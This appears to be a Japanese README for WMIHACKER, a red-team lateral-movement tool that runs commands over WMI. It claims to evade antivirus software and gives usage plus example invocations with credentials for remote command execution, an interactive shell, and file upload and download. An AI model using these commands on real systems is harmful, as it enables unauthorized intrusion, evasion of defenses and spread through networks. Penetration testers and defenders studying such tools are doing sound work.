rootclay/wmihackerアンチウイルスソフトウェアをバイパスするラテラルムーブメントコマンド実行ツール
免責事項: このプロジェクトに関連する技術は、セキュリティ学習および防御目的にのみ使用されており、不正使用は禁止されています！
アンチウイルスソフトウェアを回避する横移動コマンド実行テストツール（445ポート不要）
はじめに: 一般的なWMIEXECやPSEXECツールのコマンド実行方法は、サービスを作成するかWin32_Process.createを呼び出すことですが、これらの方法はアンチウイルスソフトウェアによって100%遮断されています。そこで、私たちはWMIHACKER（アンチウイルスソフトウェアを回避する横移動コマンド実行テストツール（445ポート不要））を作成しました。
主な機能: 1. コマンド実行; 2. ファイルアップロード; 3. ファイルダウンロード
C:\Users\administrator\Desktop>cscript //nologo WMIHACKER_0.6.vbs
__ ____ __ _____ _ _ _____ _ ________ _____
\ \ / / \/ |_ _| | | | | /\ / ____| |/ / ____| __ \
\ \ /\ / /| \ / | | | | |__| | / \ | | | ' /| |__ | |__) |
\ \/ \/ / | |\/| | | | | __ | / /\ \| | | < | __| | _ /
\ /\ / | | | |_| |_ | | | |/ ____ \ |____| . \| |____| | \ \
\/ \/ |_| |_|_____| |_| |_/_/ \_\_____|_|\_\______|_| \_\
v0.6beta By. Xiangshan@360RedTeam
Usage:
WMIHACKER.vbs /cmd host user pass command GETRES?
WMIHACKER.vbs /shell host user pass
WMIHACKER.vbs /upload host user pass localpath remotepath
WMIHACKER.vbs /download host user pass localpath remotepath
/cmd single command mode
host hostname or IP address
GETRES? Res Need Or Not, Use 1 Or 0
command the command to run on remote host
コマンド実行後に結果が表示されます
> cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo" 1
コマンド実行後に結果は表示されません
> cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo > c:\1.txt" 0
シェルモード
> cscript WMIHACKER_0.6.vbs /shell 172.16.94.187 administrator "Password!"
ファイルアップロード: ローカルのcalc.exeをリモートホストのc:\calc.exeにコピーします
> cscript wmihacker_0.4.vbe /upload 172.16.94.187 administrator "Password!" "c:\windows\system32\calc.exe" "c:\calc"
ファイルダウンロード: リモートホストのcalc.exeをローカルのc:\calc.exeにダウンロードします
> cscript wmihacker_0.4.vbe /download 172.16.94.187 administrator "Password!" "c:\calc" "c:\windows\system32\calc.exe"
WMIHACKERは404Starlinkに参加しました
